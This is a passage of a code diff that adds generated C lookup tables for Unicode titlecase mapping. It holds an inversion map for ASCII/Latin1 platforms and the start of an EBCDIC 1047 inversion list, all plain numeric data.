+	2	/* TC_AUX_TABLE_1 */,
+	2	/* TC_AUX_TABLE_2 */,
+	2	/* TC_AUX_TABLE_3 */,
+	3	/* TC_AUX_TABLE_4 */,
+	3	/* TC_AUX_TABLE_5 */,
+	2	/* TC_AUX_TABLE_6 */,
+	2	/* TC_AUX_TABLE_7 */,
+	2	/* TC_AUX_TABLE_8 */,
+	2	/* TC_AUX_TABLE_9 */,
+	2	/* TC_AUX_TABLE_10 */,
+	2	/* TC_AUX_TABLE_11 */,
+	2	/* TC_AUX_TABLE_12 */,
+	3	/* TC_AUX_TABLE_13 */,
+	3	/* TC_AUX_TABLE_14 */,
+	3	/* TC_AUX_TABLE_15 */,
+	2	/* TC_AUX_TABLE_16 */,
+	2	/* TC_AUX_TABLE_17 */,
+	2	/* TC_AUX_TABLE_18 */,
+	3	/* TC_AUX_TABLE_19 */,
+	2	/* TC_AUX_TABLE_20 */,
+	2	/* TC_AUX_TABLE_21 */,
+	2	/* TC_AUX_TABLE_22 */,
+	3	/* TC_AUX_TABLE_23 */,
+	3	/* TC_AUX_TABLE_24 */,
+	2	/* TC_AUX_TABLE_25 */,
+	3	/* TC_AUX_TABLE_26 */,
+	3	/* TC_AUX_TABLE_27 */,
+	2	/* TC_AUX_TABLE_28 */,
+	2	/* TC_AUX_TABLE_29 */,
+	3	/* TC_AUX_TABLE_30 */,
+	2	/* TC_AUX_TABLE_31 */,
+	2	/* TC_AUX_TABLE_32 */,
+	2	/* TC_AUX_TABLE_33 */,
+	3	/* TC_AUX_TABLE_34 */,
+	2	/* TC_AUX_TABLE_35 */,
+	2	/* TC_AUX_TABLE_36 */,
+	2	/* TC_AUX_TABLE_37 */,
+	3	/* TC_AUX_TABLE_38 */,
+	3	/* TC_AUX_TABLE_39 */,
+	2	/* TC_AUX_TABLE_40 */,
+	2	/* TC_AUX_TABLE_41 */,
+	2	/* TC_AUX_TABLE_42 */,
+	2	/* TC_AUX_TABLE_43 */,
+	2	/* TC_AUX_TABLE_44 */,
+	2	/* TC_AUX_TABLE_45 */
+};
+
+static const int Titlecase_Mapping_invmap[] = { /* for ASCII/Latin1 */
+	0,
+	0x41,
+	0,
+	0x39C,
+	0,
+	TC_use_AUX_TABLE_1,
+	0xC0,
+	0,
+	0xD8,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0x49,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	TC_use_AUX_TABLE_2,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0x53,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	0x1C5,
+	0,
+	0x1C5,
+	0x1C8,
+	0,
+	0x1C8,
+	0x1CB,
+	0,
+	0x1CB,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	TC_use_AUX_TABLE_3,
+	0x1F2,
+	0,
+	0x1F2,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x399,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	TC_use_AUX_TABLE_4,
+	0,
+	0x386,
+	0x388,
+	TC_use_AUX_TABLE_5,
+	0x391,
+	0x3A3,
+	0x3A3,
+	0x38C,
+	0x38E,
+	0,
+	0x392,
+	0x398,
+	0,
+	0x3A6,
+	0x3A0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0x39A,
+	0x3A1,
+	0x3F9,
+	0x37F,
+	0,
+	0x395,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	0x400,
+	0,
+	0x460,
+	0,
+	0x462,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	TC_use_AUX_TABLE_6,
+	0,
+	0x13F0,
+	0,
+	0x412,
+	0x414,
+	0x41E,
+	0x421,
+	0x422,
+	0x42A,
+	0x462,
+	0xA64A,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	0x1E60,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	TC_use_AUX_TABLE_7,
+	TC_use_AUX_TABLE_8,
+	TC_use_AUX_TABLE_9,
+	TC_use_AUX_TABLE_10,
+	TC_use_AUX_TABLE_11,
+	0x1E60,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	TC_use_AUX_TABLE_12,
+	0x1F59,
+	TC_use_AUX_TABLE_13,
+	0x1F5B,
+	TC_use_AUX_TABLE_14,
+	0x1F5D,
+	TC_use_AUX_TABLE_15,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	0x1F88,
+	0,
+	0x1F98,
+	0,
+	0x1FA8,
+	0,
+	0x1FB8,
+	TC_use_AUX_TABLE_16,
+	0x1FBC,
+	TC_use_AUX_TABLE_17,
+	0,
+	TC_use_AUX_TABLE_18,
+	TC_use_AUX_TABLE_19,
+	0,
+	0x399,
+	0,
+	TC_use_AUX_TABLE_20,
+	0x1FCC,
+	TC_use_AUX_TABLE_21,
+	0,
+	TC_use_AUX_TABLE_22,
+	TC_use_AUX_TABLE_23,
+	0,
+	0x1FD8,
+	TC_use_AUX_TABLE_24,
+	TC_use_AUX_TABLE_4,
+	0,
+	TC_use_AUX_TABLE_25,
+	TC_use_AUX_TABLE_26,
+	0,
+	0x1FE8,
+	TC_use_AUX_TABLE_27,
+	TC_use_AUX_TABLE_5,
+	TC_use_AUX_TABLE_28,
+	0x1FEC,
+	TC_use_AUX_TABLE_29,
+	TC_use_AUX_TABLE_30,
+	0,
+	TC_use_AUX_TABLE_31,
+	0x1FFC,
+	TC_use_AUX_TABLE_32,
+	0,
+	TC_use_AUX_TABLE_33,
+	TC_use_AUX_TABLE_34,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	0xA64A,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0x13A0,
+	0,
+	TC_use_AUX_TABLE_35,
+	TC_use_AUX_TABLE_36,
+	TC_use_AUX_TABLE_37,
+	TC_use_AUX_TABLE_38,
+	TC_use_AUX_TABLE_39,
+	TC_use_AUX_TABLE_40,
+	0,
+	TC_use_AUX_TABLE_41,
+	TC_use_AUX_TABLE_42,
+	TC_use_AUX_TABLE_43,
+	TC_use_AUX_TABLE_44,
+	TC_use_AUX_TABLE_45,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900,
+	0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Titlecase_Mapping_invlist[] = { /* for EBCDIC 1047 */
+	1334,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8D,
+	0x8E,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xDF,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
